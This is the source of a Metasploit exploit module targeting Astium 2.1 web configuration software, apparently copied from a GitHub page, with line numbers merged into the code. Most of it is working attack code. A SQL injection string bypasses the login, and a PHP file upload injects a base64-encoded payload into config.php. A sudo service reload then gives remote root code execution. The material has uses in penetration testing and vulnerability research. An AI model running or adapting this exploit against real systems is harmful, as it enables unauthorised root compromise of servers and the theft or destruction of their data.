Path: blob/master/modules/exploits/linux/http/astium_sqli_upload.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking # Configuration is overwritten and service reloaded78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(13update_info(14info,15'Name' => "Astium Remote Code Execution",16'Description' => %q{17This module exploits vulnerabilities found in Astium astium-confweb-2.1-25399 RPM and18lower. A SQL Injection vulnerability is used to achieve authentication bypass and gain19admin access. From an admin session arbitrary PHP code upload is possible. It is used20to add the final PHP payload to "/usr/local/astium/web/php/config.php" and execute the21"sudo /sbin/service astcfgd reload" command to reload the configuration and achieve22remote root code execution.23},24'License' => MSF_LICENSE,25'Author' => [26'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module27],28'References' => [29[ 'OSVDB', '88860' ],30[ 'EDB', '23831' ]31],32'Platform' => ['php'],33'Arch' => ARCH_PHP,34'Targets' => [35['Astium 2.1', {}]36],37'Privileged' => true,38'DisclosureDate' => '2013-09-17',39'DefaultTarget' => 0,40'Notes' => {41'Reliability' => UNKNOWN_RELIABILITY,42'Stability' => UNKNOWN_STABILITY,43'SideEffects' => UNKNOWN_SIDE_EFFECTS44}45)46)4748register_options(49[50OptString.new('TARGETURI', [true, 'The base path to the Astium installation', '/']),51]52)53end5455def uri56return target_uri.path57end5859def check60# Check version61vprint_status("Trying to detect Astium")6263res = send_request_cgi({64'method' => 'GET',65'uri' => normalize_uri(uri, "en", "content", "index.php")66})6768if res and res.code == 302 and res.body =~ /direct entry from outside/69return Exploit::CheckCode::Detected70else71return Exploit::CheckCode::Unknown72end73end7475def exploit76print_status("Access login page")77res = send_request_cgi({78'method' => 'GET',79'uri' => normalize_uri(uri),80'vars_get' => {81'js' => '0',82'ctest' => '1',83'origlink' => '/en/content/index.php'84}85})8687if res and res.code == 302 and res.get_cookies =~ /astiumnls=([a-zA-Z0-9]+)/88session = $189print_good("Session cookie is [ #{session} ]")90redirect = URI(res.headers['Location'])91print_status("Location is [ #{redirect} ]")92else93fail_with(Failure::Unknown, "#{peer} - Access to login page failed!")94end9596# Follow redirection process97print_status("Following redirection")98res = send_request_cgi({99'uri' => "#{redirect}",100'method' => 'GET',101'cookie' => "astiumnls=#{session}"102})103104if not res or res.code != 200105fail_with(Failure::Unknown, "#{peer} - Redirect failed!")106end107108sqlirandom = rand_text_numeric(8)109110# SQLi to bypass authentication111sqli = "system' OR '#{sqlirandom}'='#{sqlirandom}"112113# Random password114pass = rand_text_alphanumeric(10)115116post_data = "__act=submit&user_name=#{sqli}&pass_word=#{pass}&submit=Login"117print_status("Using SQLi to bypass authentication")118res = send_request_cgi({119'method' => 'POST',120'uri' => normalize_uri(uri, "/en", "logon.php"),121'cookie' => "astiumnls=#{session}",122'data' => post_data123})124125if not res or res.code != 302126fail_with(Failure::Unknown, "#{peer} - Login bypass was not succesful!")127end128129# Random filename130payload_name = rand_text_alpha(rand(10) + 5) + '.php'131132phppayload = "<?php "133# Make backup of the "/usr/local/astium/web/php/config.php" file134phppayload << "$orig = file_get_contents('/usr/local/astium/web/php/config.php');"135# Add the payload to the end of "/usr/local/astium/web/php/config.php". Also do a check if we are root,136# else during the config reload it might happen that an extra shell is spawned as the apache user.137phppayload << "$replacement = base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\");"138phppayload << "$f = fopen('/usr/local/astium/web/php/config.php', 'w');"139phppayload << "fwrite($f, $orig . \"<?php if (posix_getuid() == 0) {\" . $replacement . \"} ?>\");"140phppayload << "fclose($f);"141# Reload astcfgd using sudo (so it will read our payload with root privileges).142phppayload << "system('sudo /sbin/service astcfgd reload');"143# Sleep 1 minute, so that we have enough time for the reload to trigger our payload144phppayload << "sleep(60);"145# Restore our original config.php, else the Astium web interface won't work anymore.146phppayload << "$f = fopen('/usr/local/astium/web/php/config.php', 'w');"147phppayload << "fwrite($f, $orig);"148phppayload << "fclose($f);"149phppayload << "?>"150151post_data = Rex::MIME::Message.new152post_data.add_part("submit", nil, nil, "form-data; name=\"__act\"")153post_data.add_part(phppayload, "application/octet-stream", nil, "file; name=\"importcompany\"; filename=\"#{payload_name}\"")154file = post_data.to_s155156print_status("Uploading Payload [ #{payload_name} ]")157res = send_request_cgi({158'method' => 'POST',159'uri' => normalize_uri(uri, "en", "database", "import.php"),160'ctype' => "multipart/form-data; boundary=#{post_data.bound}",161'cookie' => "astiumnls=#{session}",162'data' => file163})164165# If the server returns 200 and the body contains our payload name,166# we assume we uploaded the malicious file successfully167if not res or res.code != 200 or res.body !~ /#{payload_name}/168fail_with(Failure::Unknown, "#{peer} - File wasn't uploaded, aborting!")169end170171register_file_for_cleanup("/usr/local/astium/web/html/upload/#{payload_name}")172173print_status("Requesting Payload [ #{uri}upload/#{payload_name} ]")174print_status("Waiting as the reloading process may take some time, this may take a couple of minutes")175res = send_request_cgi({176'method' => 'GET',177'uri' => normalize_uri(uri, "upload", "#{payload_name}")178}, 120)179180# If we don't get a 200 when we request our malicious payload, we suspect181# we don't have a shell, either.182if res and res.code != 200183print_error("Unexpected response...")184end185end186end187188189